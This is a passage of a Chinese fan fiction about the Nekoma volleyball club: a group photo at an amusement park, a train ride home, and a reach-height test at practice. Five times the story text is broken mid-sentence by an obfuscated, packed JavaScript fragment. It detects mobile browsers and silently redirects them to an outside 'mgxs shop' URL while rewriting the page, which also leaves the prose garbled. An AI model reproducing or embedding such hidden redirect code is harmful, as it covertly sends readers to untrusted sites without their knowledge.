福永朝我摇了摇头，神神秘秘地伸出一根手指，原地晃了晃，煞有其事道：“这是排球部专有的魔法，绝——对不会迟到的哦，小游。” “？” 我有点欲言又止地看着福永前辈。 ——为什么还扯上魔法了？福永前辈不是只热衷于讲冷笑话吗，怎么现在还开始忽悠人了？ 45. 四十五个小岛 最后，手机屏幕上的数字跳到我们约定时间的下一分钟之前，我看着一路飞奔过来刚好卡点到随即扶着膝盖开始大喘气的山本前辈、灰羽还有犬冈，沉默了会儿，转头用震惊的视线看向福永。 他正叉着腰站在犬冈旁边，举着手机试图拍个合照，被挣扎着抗议了。跟后辈打闹的空档注意到我的视线，便腾出一只手，露出个标准的八颗牙齿的笑的同时比了个大拇指过来。 我深感敬佩地回了个大拇指回去。 早到两分钟发现自己不是最后的黑尾悠然地抱着臂旁观、时不时再拱两句火，注意到我和福永前辈的小动作忍不住转头看了眼，原地思考两秒，随即毫不犹豫地凑过来，“什么什么？发生什么事了？” 我卡了两秒，感觉这事没什么必要说，就顿了顿，摇摇头避过这个问题，“没什么。” 随即，我面不改色地忽略黑尾前辈投来的控诉眼神，转头环视一圈，随即举起相机，“来拍合照吧！” “怎么还转移话题。”黑尾“嘿”了声吐槽我，但他倒也对此没多太在意，转头开始招呼其他人，“快别玩了！拍合照拍合照！” “是——” 大家纷纷挤挤攘攘地凑过来，又自觉一字排开，就握着游戏机在旁边打游戏的研磨前辈都默默起身走过来站在最边上，然后被其他人发现我们珍贵的大脑站的特别远像被孤立了一样便齐心协力把他拉到中间。 歪头跟一脸生无可恋地被拽到我身边的研磨前辈对视，我忍不住笑了下，朝他弯了弯眼。 研磨前辈皱了皱鼻子，闷着气撇开眼，兀自闷了一会儿，半晌，回过头不轻不重地瞪了我一眼。 黑尾前辈接过我的相机，四处找了一圈找到几个看起来跟我们一样没什么事情比较闲的学生，大胆凑上去攀谈两句便顺利地拜托对方帮忙拍照，我一转眼看到他时，多少有些惊奇于部长的超高效率。 他一路小跑着回来，快速站到我们专门给他留出的位置，一群人调整了一下站位，随即黑尾前辈便挥手示意了一下那边的好心人，拔高声音喊了声，“我们好了！” 那边的鸢蓝发色半长发的男生抬手应了下，随即举起相机，于我们下意识一同扬起的笑脸下接连按下快门。 我露出个多少有点假的笑，一手攥着小包的背带，一手从善如流地比了个剪刀手，视线晃了晃，最后不由自主地落到那位拍摄的路人身上。 唔……怎么说呢，他拿相机的姿势意外还挺专业的。 一手托镜头一手扶正，能保证相机的稳定性，有助于得到更加清晰的画面的同时也能减轻体力和劳累，但对摄影没有了解过的话一般人是不会知道这个姿势的——毕竟摄影并不算热门来着。 动作有点生疏、对我的相机的了解也不够多，应该是了解学习过摄影的人，大概只是爱好没学多深入，估计也有段时间没拍了。 不知道拍得好不好。 这么想着，等那边的好心人放下相机示意拍好了、要将相机还回来时，我难得主动地跟着黑尾前辈凑上去，趁黑尾前辈跟好心人寒暄的功夫默不作声地将相机接过来，低头看了看刚刚的几张照片。 我们位置站得不错，再加上前面有路灯能勉强起个补光灯的效果，其实最后只要能拍全所有人其实构图什么的都问题不大，可以后续再修，要不然我不会这么放心地让别人来拍。 但这几张本身的构图就还挺不错的了，如果要求放宽一些全留下也未尝不可，我稍微有点惊讶地抬头稍看了眼鸢蓝发色的男生，心道人果然不能有刻板印象。 本来看到黑尾前辈能和他们聊这么欢还以为是有共同话题什么的，比如都是运动社团之类的，拍出来的照片很可能只能说是一般——比如音驹排球部的大家就对拍照比较苦手。 没想到效果还不错啊。 心思转了半圈，我刚准备趁没人注意到我悄悄离开，就突然听到有人cue自己，不禁有些茫然地转头看过去。 帮忙拍照的鸢发男生露出个柔和的微笑来，“——因为这款相机在业内是更为专业且性能较高的一款，除了专门学摄影的人之外买的人不算多。所以会想问问能不能也帮我们拍一张合照。” 被他询问的黑尾前辈露出个比较为难的表情，下意识微微侧身将我拦在身后，语气抱歉地道：“这个我也不能做主，我们家孩子比较怕生，得看她自己的意思。” 我微微一怔，随即迎上对面那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309395|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个男生顺势投来的目光，下意识先看了眼一起看向我的黑尾前辈，目光触及他明明白白写着“不想去就拒绝”的脸，忍不住心里稍暖地弯了弯眼睛。 “我没问题的。”我道，“但我们快走了，没法等太久，你们要是人还没齐的话就不太行。” 一边说着，我动了动视线，将目光投向他身后那群吵吵闹闹但明显是在等人的一群人。 说实话还挺显眼的，发色鲜艳地让人多少有些诧异，看起来性格也很各异，总之还挺引人瞩目的。 一、二、三、四……七个人，算上面前这个就是八个，如果是全队出来玩且人齐的话应该不是排球部，排球部的人会再多一点的才对。 这么想着，我听到面前的男生笑了下，道：“已经齐了。” 说着，他回头，率先朝那边走去，组织着其他人站好拍照的位置。我便举着相机跟过去，礼貌性无视他们互相之间的打闹，假装什么都没听到的样子，只等着他们站好后拍照，把自己的任务完成。 待他们站好位置，我便举起相机，调整了一下构图，又看了两眼他们的站位，最后挥挥手，示意这边准备好了。 黑尾在旁边观摩着，见状毫不犹豫拔高了声音，大声道：“看镜头看镜头！笑一个！” 我按下快门。 # 跟那个为首的男生交换完了用来交换拍好的照片的联系方式，我跟他道了声别，就转头钻回自己的队伍里。 “小游，我们听说游乐园附近有家味道很不错的烤肉店，待会准备一起去吃，你要不要来？”见我回来，海前辈招呼着这么问。 “诶？可以啊，”我微微愣了一下，随即爽快应下，顿了顿，又有些好奇地问，“是我们所有人都去吗？” “还差小黑没问。”研磨前辈有气无力地蹲在旁边接话，“不过他大概是去的……真是的，这样让我怎么拒绝啊。” “那就一起去吧研磨前辈！听犬冈说那家店评价很好哦！”灰羽兴冲冲地提议。 研磨欲言又止了一会儿，“……行吧。” 啊，这个表情……研磨前辈又在心里吐槽了。 围观了一会儿，我注意到他的目光这么想着。 46. 四十六个小岛 吃完饭出来天色已经很晚了，夜色沉沉地压下来，天空已经暗透，光是抬头看上一眼都叫人无端有些慌乱——毕竟夜晚总是事故多发的时间段，危险和神秘几乎要成了它的代名词。 路灯安安静静地立在路边，投下明亮的灼眼白光，将回家的路照得通明。 手机偶尔发出机械的、指引方向的声音，我顺着它的指引往来时的电车车站走，一边下意识走到靠路边石台的位置，一边低头，一张一张看过今天拍下的照片。 最先跳出来的是帮其他人拍的照片，我径直按下跳过，切了几张才切到我们的合照。 是人很齐的大合照，研磨前辈被簇拥在中间，旁边就站着我。我仔细地看了两眼自己的表情，欣慰地发现自己笑得其实没有想象中的假，总体还算自然，只有头发稍微有些凌乱地垂在脸侧。 再挨个看过别人，发现大家笑得都很开心的样子，感觉自己的情绪稍微有点不够饱满，不禁纠结两秒，再去看看研磨前辈的表情，突然就稍微释怀了一点。 他看起来稍微有些疲态，笑容也因为摆拍而显得有些假而敷衍，乍一看显得淡淡的——啊，没有说研磨前辈看起来不太开心的意思。 稍微有点心虚地在心中补了一句，我仅有的那点心虚便也就这么消失，继续往下看我今天拍的照片。 数量其实不是很多，摩天轮上拍的风景占了百分之七十，剩下三十又大部分是路边看见的植株什么的，我一遍过完，突然有点遗憾于自己没有拍几张照片——我实在不是一个喜欢记录生活的人，除了专门带上相机四处取材拍照之外，关于生活的照片少之又少。 毕竟我的生活没什么可记录的来着……突然出来一趟又因为习惯没想起来记录这些。 唔……莫名有点想回到游乐园最开始的冲动。我有些遗憾地想。 “诶？群里他们在发照片啊。”突然，旁边的夜久前辈发出一个有些惊讶的感慨。 我被他的话吸引过去，下意识伸手拉住他的袖子，将他往我这边扯了一点，“什么什么？” 他从善如流地侧身，将手机屏幕移到我面前，“是海和福永他们拍的各种照片，合照什么的……怎么还有偷拍来的？” 夜久前辈语气有点诧异，隐隐还有些微妙的无语，我看着他屏幕上停下的那张照片，顿了顿，突然懂了他为什么说这张照片是偷拍来的。 上面是张我完全不知道他们是什么时候拍的照片，是我和夜久前辈两个人，看背景应该是在碰碰车的场地……啊，那会儿的确有遇到海前辈和福永前辈来着。 我们刚排上队，他们则已经玩完了，所以哪怕恰巧遇到最后也没一起同行，彼此打了个招呼就分开了，应该就是那个时候拍的。 画质不太清晰，应该是放大过的，构图也没什么讲究，但氛围光影都意外不错，阳光洒下来，将画面照得金灿灿的同时又因为画质原因而有些朦胧，出人意料的好看。 不过画面里的距离有点过于亲昵了吧……？看起来像在拥抱一样。我和夜久前辈在碰碰车那里排队的时候可从来没贴这么近，拍照的人找的什么让人误会的视角啊。 先下意识分析了一下构图光影，我这才将注意移到照片本身，看着上面我和夜久前辈多少容易让人误会的姿势，不禁有些沉默。 拥抱……好像没怎么和别人拥抱过。 或者说是完全没有吧。我这么想。 就连单向的那种也很少，真要说的话也就只有很小的时候两个哥哥抱过我，别的就完全没有了。 拥抱啊……如果照片是真的就好了。 我稍微有点遗憾地想。 好歹这样我就不会连想象它的感受都想象不出来了。 # 夜久前辈跟我回家的路有很大一部分是一样的，我们要去的电车车站是同一个，我在他前两站下车，我们对了一下车程，就说好要结伴一起回家。 此时正处很多上班族下班的时候，电车里的人不算少，我和夜久前辈四处瞧了眼，没找着位置，索性就一起站到栏杆边上。 终于有空下手的时间，我将相机放回包里，摸出手机打开排球部的群聊，匆匆扫了眼在群里聊得热火朝天的其他人，就径直略过，往上翻了翻，找到夜久前辈刚刚给我看的那张照片，没什么犹豫地直接按下保存。 随即我便条件反射地下意识退出页面，先侧头瞄了眼夜久前辈，发现他似乎没有注意到我的动作的样子，才不知为何悄悄地舒了口气。 虽然我其实也不太懂自己为什么要遮遮掩掩地存一张照片……但直觉总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309396|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归是有点用的吧。 默默退出了群聊，我这么想着，又转头看了眼夜久前辈。 这回没多掩饰，他便轻易地发现我的视线，不禁歪歪头，投来一个有些疑惑的探究眼神。 “怎么了？”他问。 “啊，”我微微愣了一下，随即下意识诚实地摇了摇头，“没什么。” “喔，”夜久前辈眨眨眼，没对我的话有什么反应，只是反问道，“今天玩得开心吗？” “开心。”我毫不迟疑地这么说，随即顿了顿，抬眼望向夜久前辈，表情认真，“下次还要来玩。” “诶？是今天还有没玩到的项目吗？好呀。”他稍微有些疑惑地问了一句便爽快应下，随即问我，“下次来想玩什么？” 我才发现自己说的话似乎有些歧义，“诶？不是有没玩到的项目……只是觉得出来玩很开心，下次还想出来玩玩。” 夜久前辈默了下，偏头看我两眼，忍不住失笑，“小孩子吗？” “喂！”我有点恼地瞪了他一眼，不由自主地撇撇嘴，轻哼了声，“……这也很正常吧。” 电车正好到站，呼啦啦涌进来一大批人，我被夜久前辈提前推着一起凑到角落，他挡在我身前，我倒是没被挤到，但电车停下启动时突如其来晃的一下还是让我有点没站稳地踉跄一步。 被夜久前辈眼疾手快扶了一把，我拽着他的袖子站稳，还没来得及说什么，就听夜久前辈的声音在我耳边响起。 因为是公共场合不能打扰到别人，他声音稍微压低了些，随即吐槽我，“正常归正常，但别别扭扭地说自己玩得很开心下次还想出来玩就是很像小孩子啊，我上次听到这种话还是我最小的弟弟说的。” 我对他拿我跟最小的弟弟比这点没什么看法，只是被他话中内容吸引，原地兀自沉思了一会儿，伸手拉住他的衣服下摆，稍稍凑近了点，仰头望向他，“那夜久前辈，你下次还愿意和我一起出来玩吗？” 距离骤然拉进，我见他似是愣住了般微微睁大眼，明亮的光投在他眼睫上，落下颜色浅淡的一点点阴影。他望着我的眼睛依旧通透而澄澈，我于其中望见自己的眼睛。 半晌，他笑了下，弯起眼，语气肯定地回答我，“愿意。” “我一直愿意。” 47. 四十七个小岛 游乐园过去之后离开学还有很长的一段时间，在收到训练通知之前，我还有些遗憾地在想之后又要一直待在家里了、也不知道能有什么东西可以用来打发时间。 结果没两周通知就过来了，说要继续训练什么的。说实话，我之前一直以为社团在假期里不会有社团活动的来着，阵平哥研二哥他们当初就没有，假期一直在外边疯玩，偶尔还会来找我玩——虽然次数不是很多就是了，但有就是有。 提前开始训练可能是因为排球部之后还有春高排要准备吧。 这么想着，我背着相机和笔记本踏进体育馆，一抬头看到里面来了大半、已经开始收拾场馆做准备工作的人，不禁下意识“诶？”了声以示疑惑。 大家都来得好早……平时这个点出门我都是头几个到的，这次竟然是最后几个。 看起来都很积极呢，感觉都是春高排的原因也不太可能……太久没见也不太可能，毕竟我们前几天刚一起去了游乐园玩来着。 那就是太久没一起训练了？仔细想想好像也只有这个原因是有可能的，但这个原因是不是未免有些太奇怪了，怎么说都比我更像小孩子吧。 思维活跃地在脑子里随便想了些乱七八糟的东西，我找了个干净的地方放下背来的书包，也撸起袖子，跟着加入打扫的队伍中。 主要就是扫扫地、擦擦灰什么的，我自己觉得不算很辛苦，但干了一半突然发现我也在的黑尾前辈觉得不该让经理干这些活（说是因为我没带换洗衣物要是沾灰了会很不方便、让女孩子干这活还要他们这群前辈干什么（中途看到也在打扫的芝山紧急改口成他们这群男人）什么的），把我赶去做后勤工作了。 抱着一袋子水杯被推出门口，我站在体育馆门前，盯着被关紧锁上的大门沉默了一会儿，稍微有点无语凝滞。 转头跟和我一起被关在门外的一路跑来卡点到的灰羽对视，我退后一步，把门前的位置让给他，走前还礼貌且敷衍地朝他点了点头。 灰羽站在原地，看着我离开的背影有点摸不着头脑地打出一个问号，“？” 他纠结两秒就将其抛之脑后，发现门打不开又再次摸不着头脑地尝试了一会儿，意识到门是锁上了之后开始试图用声波呼唤里面的人，“黑尾前辈！夜久前辈！门锁上了帮我开门——！” # 总之，忽略一切插曲，带着灌好水的水瓶回来的时候，体育馆的大家已经正式人齐并开始热身了，连猫又教练和直井监督都已经到了，正站在场边看着他们。 直到看到两位成年人我才终于有了一点点训练停了一段时间的感觉，毕竟前面一直有在跟排球部的人见面（虽然次数不算频繁），但再次见到教练还是合宿结束后的头一遭。 突然有点意识到之前跟其他人见面都不是因为部活，这种感觉还挺奇怪的。 拖着着转着水瓶的带轮子的推车跟教练和监督都打了声招呼，我把小车推到我放包的地方放好，再把其他人翻出来放到体育馆边缘的椅子上的毛巾也拿过来，再跟着大家一起听了猫又教练的训话——大意就是春高预选赛很快开始，不要懈怠、努力训练，全力以赴地争取进全国的名额这样。 我认认真真听完，在最后跟着所有人一起喊了声“是！”，就跟着准备开始训练的大家一起散开，去找教练确认了一下之后需要我来做的一些事情。 比如排球部内需要申请经费来重新采购的已经旧了的排球这类的东西、还有去春高预选赛场地时需要申请的大巴。 如果时间比较空的话，也可以提前写开学不久后举办的文化祭的经费的申请。 文化祭啊…… 我笔尖一顿，下意识顺着这个稍微有些陌生的词汇想了想。 我高中以前可谓是怕人怕到了一个地步，一到文化祭这种人流量大的场合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309397|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就恨不得当天直接请假不来，索性我运气倒也还不错，这么多年下来抽到的任务大多数都是后勤那一类的，前期稍微帮忙搭搭建筑打打下手，工作就算完成了，文化祭当天基本不用来。 所以我对文化祭的印象并不是很深来着……回想起来出现的词汇大半都是“人多”，另一小半则是“又要跟别人交流了”，对于文化祭本身几乎完全没有印象。 同类型的祭典什么的也都没有……这么想的话我运气还挺好的，至少不想去的地方或者不想干的事情都没有被逼着干过。 不过说到这里，没有做漫画家小说家这一类的工作的打算真是太好了，不需要被迫去人多的地方找素材。 ……扯远了。 挨个记下教练交代的事情、将它们一一列进代办事项，我重新看了一遍，最后确认般询问：“还有什么需要我做的事情吗？” “这个啊……”猫又教练被我这么一问不禁沉思片刻，随即像是想到什么，乐呵呵地笑道，“之后春高可是要登记数据的，小游你待会有空的话就去找一下测摸高的工具吧，明天叫他们早来一些，我们提前测一测摸高。” 落在本子上的笔尖一顿，漆黑的墨水在上面留下一个清晰的墨痕，我有些茫然地抬头看向猫又教练，问：“猫又教练，那个登记的数据应该是最近的更准确一点吧，我们明天就测吗？” 猫又教练有些疑惑地“嗯？”了声，“我们明天测的可不是春高要登记的数据啊，小游。” 他笑眯眯地道：“也的确好久没测摸高了，这次正好想起来，就让大家重新适应一下手感好了。” “如果能让这群假期玩疯了的小子快点进入训练的状态就好了。”猫又教练叹道。 我感觉我好像懂了一点，“哦哦……所以是大家问我的时候要如实说的意思对吧？猫又教练。” 猫又教练笑了下，夸道：“聪明。” 48. 四十八个小岛 恢复训练的第一天教练没有安排练习赛，所有的安排都是些基础的练习，力量耐力一传二传之类的。 基础训练的时候我不用跟着记数据，他们会自己分组轮换着记录。所以我便趁着这一小段时间先按着格式填了更换器材的经费还有大巴的申请表，再重新从活动室里推出来一筐排球给他们。 确定目前没什么事情之后，我才又回活动室，找了会儿，把已经有点落灰了的摸高器从角落里拖了出来。 看起来的确是很久没用过了……而且是完全没见过的工具。 最下面的是一个很沉的秤砣一样的东西，插了根很长很长的铁杆子，最上面是好多颜色鲜艳的长条塑料片，被一个铁制的长方体框在一起，我站在底下抬头瞧了两眼，在塑料片靠下的那一面看到了标着的数字。 那些些塑料片大概就是跳起来的时候摸的东西了……不过我还是没太看懂这是怎么用的。 原地盯了两秒实在没看懂，我索性就不继续想了。有点艰难地把这个没怎么见过的装置拖出来，准备放到体育馆角落，明天早上来就不用再去活动室找。 回去的时候大家都还在训练，离我最近的是凑在一起的福永、研磨和山本的二年级组，研磨前辈抱着个排球站在边上木着脸看其他两个人互垫，看起来应该是在有点放空地发呆，不知道在神游天外地想什么。 他和福永都正面朝着我，因此在我出现时便第一时间望了过来。福永前辈先条件反射地将飞向他的排球一把拍掉、再捞到手上，随即往对面的山本前辈手里一丢，这才直起身，小跑两步到我面前，从我手里接过有些沉重的增高器。 “为什么突然把增高器拿出来了？”福永前辈好奇地打量了一下自己手里的仪器，还上下掂了掂重量，随即转头问我，“放哪里呀，小游。” 在我手头上有些沉重的摸高器在他手上像随便拎了个排球一样，我有些震撼地沉默两秒，低头看看自己的手，又抬头看眼。闻言“啊”了声，还没反应过来，只是下意识指了指旁边的角落，“今天不用这个的，先放那里就好。” 随即，我慢半拍地又看了眼他手上的摸高器，这才回答他上一个问题，“猫又教练说之后春高进全国的话需要登记数据，叫我先找出来让大家提前适应一下手感。” 研磨对此完全没有兴趣，他站在旁边听完稍微沉默了一会儿，不知道自己想了点什么，突然幽幽念道：“‘要是没进全国就白适应了、会很丢脸’……不会是这么想的吧。” 我卡壳了一会儿，“……不会吧？” 研磨前辈抬眼对上我的视线，他安静地看了我两秒，随即默默转头，朝着另一个方向望过去。 我顺着他的视线看过去，视线停在山本前辈身上，不禁顿了顿，微妙地沉默了一会儿。 回头，对上研磨前辈明明白白写着“你看吧我就说”的脸，我视线飘了飘，不得不承认他说的的确是对的。 啊，这么说的话…… # “那我们要是没进全国的话不是白适应了吗？” 清晨的阳光顺着窗户透进体育馆内，轻飘飘地洒在地上。我蹲在体育馆中央的摸高器旁边听夜久前辈讲这玩意要怎么使用，闻言下意识转头看了眼。 灰羽正叉着腰站在摸高器的另外一边，听福永前辈说完把摸高器搬出来的理由不禁摸着下巴思考了一会儿，随即这么若有所思地道。 我沉默了一瞬，视线飘了飘，下意识望向研磨前辈。 他神色依旧平静，听完灰羽的话后没什么反应，只隐约露出个混杂着嫌弃和“果然如此我就知道”的表情。 我顿了顿：……该说是研磨前辈太了解你了、还是你太好懂了呢，灰羽。 “上个人摸完之后拉这个绳子就好了，哝，像这样，拉一下就全部回去了。”一边说着，夜久前辈一边当场给我示范了一下。 塑料片后衍生出的长绳被他一扯，原本被打乱后四处扭成一棵圣诞树的塑料片便齐刷刷回正，我注意力被吸引回来，忍不住哇了声。 “看起来好神奇。”我伸手接过他手里的长绳，试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309398|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探性地扯了扯，没扯动，再抬头看看已经全部回正的塑料片不禁沉思两秒，随即回头，朝不远处的猫又教练喊道，“猫又教练，可以开始了！” 猫又教练应了声，随即慢悠悠地走过来，四周看了眼、环视一圈，提高了声音，喊道：“都按背号排好队！一个一个测！” “是——” 大家一个一个排好队，而首先，站在起跑线上的是黑尾前辈。 二三年级的几位前辈看起来对这次测的摸高都没有什么太大感触的样子（不包括山本前辈），可能是因为测得多了不是很在意？总之第一个上的黑尾前辈虽然很明显地认真地严正以待起来了，但看起来并不紧张的样子。 随着旁边的直井监督吹响哨声，他从起跑线跑，跨步、摆臂、屈膝、跃起，跟平常比赛里的扣杀没什么太大的区别。 意识到这一点后我顿时转头，下意识远远望向了夜久前辈。 自由人负责地面防守，掌握技能顶多再加一个自由人二传，关于空战的扣杀啊拦网啊都明显跟自由人无关。加入排球部这么久，我其实还从没见过夜久前辈跃起扣杀的样子来着。 夜久前辈应该不常扣杀吧？不知道动作跟其他前辈有没有区别……不过就算不是很标准其实仔细想想也是情理之中的吧，毕竟自由人完全不需要练习这些来着。 自由人扣杀得分好像还会判犯规的来着，也不知道有没有记错……不过扯远了。 整齐的塑料片被黑尾前辈一巴掌打出去，我下意识伸手扶稳有些晃动的铁杆子，才抬头看了看最后留下的塑料片上的数字，仔细辨认了一下，报出一个数字。 “330cm。下一个！” 记下黑尾前辈的摸高数据，我伸手拉住绳子末端，用力将被打出去的塑料片拉正，松手时先抬眼盯着上面已经回正了的塑料片看了一会儿，再想想刚刚黑尾前辈是怎么测的摸高，终于后知后觉地“欸”了声。 原来摸高器是这么用的啊……看着还挺方便诶。 我这么想，又伸手拉了下绳子。 49. 四十九个小岛 夜久前辈看起来比黑尾前辈看起来还要更放松一点。 啊，这也很正常。 毕竟不管最后测出来的结果是高是低对他都没什么所谓的来着。 低不会被人指责，毕竟自由人不需要扣球拦网；很高的话，也许会被问为什么有这样出众的摸高却选择成为自由人、很可惜之类的有些高高在上的话，但这些话通通不会对他造成影响，毕竟夜久前辈选择成为自由人从来都不是因为自己身高的劣势。 他成为自由人一直都只是因为他想而已。 这么想着，我下意识抬起眼，看向那边已经站在起跑线前准备的夜久前辈。 他正神色如常地站在起跑线上，等着我刷新（？）摸高器后代表开始助跑的响起的哨声，动作随意地活动着四肢，我刚看过去两秒便见他动作忽然一顿，似有所觉般抬起眼看过来。 我微微一愣，随即下意识朝他抿起一个浅浅的笑来，小幅度地比了一个加油的手势过去。 浅发的前辈不禁有些讶异地挑了挑眉梢，顿了顿，似乎是想说点什么。但开口之前，直井监督见我已经调好了摸高器，便吹了下哨子，催促着夜久准备。 我见他应了声，原地压下重心，摆好起跑前的准备姿势，便下意识退开两步，离摸高器远了点距离，给他们留出足够肆意发挥的空间。 尖锐的哨声划破清晨体育馆中微凉的空气，我猝不及防被突如其来的尖锐声音惊了一下，随即下意识条件反射般地抬头望去。 ——好快。 比刚刚测摸高的海前辈都要更快一点的速度。 他压低了重心，大跨步地向前，一步、两步、三步，直至来到摸高器下时方才停下，随即屈膝、双臂后撇，借着惯性猛地向上跃起。 “啪”。 耳边仿佛掠过一点细微的风声，和手掌拍在塑料片上发出的清脆声音一并传入耳朵，我不自觉微微睁大了眼，目不转睛地盯着他，对外界的感知莫名模糊起来的那一刻就连呼吸都仿佛放轻了一瞬。 好厉害。 微微动了动唇，我不自觉地、无声地吐出这么一点气音。 “……好厉害。” # “喂喂，小游，偏心地有点太明显了吧。”后退时恰好退至抱胸站在旁边兴致勃勃围观的黑尾前辈身边，他耳尖地听到我的话，登时猛地转头看过来，颇有点不可置信地道，“明明夜久那家伙摸高比我低了三十多厘米吧？也没有海高，怎么就只夸他啊。” 我在他出声的那一刻就回神了，寻声转头，有点懵地看了两秒他不可置信地虚情假意、甚至多少有点浮夸的表演，下意识打出一个问号，：？” 条件反射地将其归纳为排球部部长又突然戏瘾上来了的表演，我按着往日的经验没第一时间回话，而是先转头看了看摸高器上的数字，记下后才回头，语气委婉地说：“黑尾前辈，夜久前辈的摸高是301cm，跟你只差了29cm，不算三十多厘米的。” “而且。”顿了顿，我稍微有些迟疑地问，“……跟夜久前辈比摸高是不是没什么必要？他不是自由人吗？” ……自由人就算摸高很低应该也不会有什么太大的问题吧？ 看着我脸上单纯的疑惑，黑尾沉默两秒，忍不住也跟着打出一个问号：“？” “哇塞。”他震撼地感慨，“你还真是青出于蓝而胜于蓝，厉害。” 我完全没懂他在说什么，忍不住有点疑惑地转头看他一眼，“？” 在我眼皮子底下，他伸出手，无端有些沉重地拍拍我的肩膀，鼓励，“加油，小游。保持下去。” “……”在说什么？我怎么没听懂。 黑尾前辈看起来并没有解释的打算，他只是先抬头瞧了眼正往这边走来的夜久，再低头，重新问了一遍自己刚刚的问题，“所以啊，小游，你真的不觉得自己偏心吗？” 我顺着他的视线抬眼，看到已经过来了的夜久前辈不禁下意识分神了一瞬，将他的问题左耳进右耳出后才慢半拍意识到他刚刚似乎问了点我没听着的问题，不免沉默两秒，稍微有点心虚且茫然地反问，“……什么？” “……”不如没得到回答。黑尾有点牙酸地啧了一声，随即毫不犹豫冷酷无情地收手，“没什么，我什么都没问，你们自己聊去吧，我不打扰你们。” 说完，他毫无留恋地转身离开。 我摸不着头脑地看着他潇洒离开的背影，最后沉默两秒选择不为难自己地忽略这一趴，重新回过头，看向顺手帮我把摸高器调回去之后才走过来的夜久前辈。 我老老实实叫了他一声，“夜久前辈。” 他语气轻松地应了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309399|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再看两眼我的表情，忍不住有些好奇地问：“刚刚黑尾跟你说什么了？怎么这么个表情。” 提到这个我依旧很莫名其妙，闻言沉默着努力回想了一下，半晌，语气犹豫且不确定地说：“……说我青出于蓝而胜于蓝？” 说着，我将目光投向理应比我更了解黑尾的夜久前辈，眼神带上点问询的意味，试图从他口中听出个解释。 “……哈？”但夜久前辈看起来比我还莫名其妙，“他又哪根筋搭错了？” 我刚想说点什么，哨声就突然再次响起。一抬眼看到山本前辈踏着哨声一路飞奔过来，我下意识噤声，目光追着他过去。 等他跃起测完摸高，才快走两步上前，很娴熟地记下数据刷新摸高器，再一溜烟回去。 回来，我终于补上刚刚没说出口的那句话，“我不知道。” 夜久还在沉思，觉得黑尾应该是又闲得没事干来忽悠后辈，不禁啧了声，在心里给他暗自记下一笔，闻言第一时间没反应过来我在不知道些什么，想了两秒才意识到是在回答他刚刚的话。 他顿了两秒，决定维护一下同期在后辈眼里的形象，没把真相如实说出来，转移话题道：“不管他。中午打算吃什么？” 我几乎能想象到他下一句话是什么——肯定是“不要又吃面包”“也不要只吃零食”之类的，明明最开始被他们监督之后我就没怎么不好好吃饭了！ 也没有一直去外面吃或者买速食，而是学着做了点简单到我都能学会的料理，还为此特意买了一套厨具回来（我家原本的厨具因为用不上被我卖掉了）。 “吃关东煮。”虽然心里在嘀嘀咕咕地抱怨，但我还是第一时间回答了夜久前辈的话，“便利店上了新口味，想试试。” “喔……也行，记得多吃点。”鉴于关东煮在大部分人的印象里都不是什么能顶饱的东西，夜久想了想，还是多叮嘱了一句。 我语气轻松地应了声，“不要饿着自己对吧？我知道的啦。” “那倒是做到啊，之前好多次随便吃一点就说自己饱了。”夜久吐槽我。 “因为就是饱了！”我反驳。 “怎么可能啊，猫吗吃这么少。” 